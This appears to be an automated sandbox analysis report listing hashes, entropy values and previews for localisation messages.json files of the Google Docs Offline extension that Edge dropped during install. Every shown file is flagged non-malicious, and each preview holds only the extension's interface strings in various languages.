MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
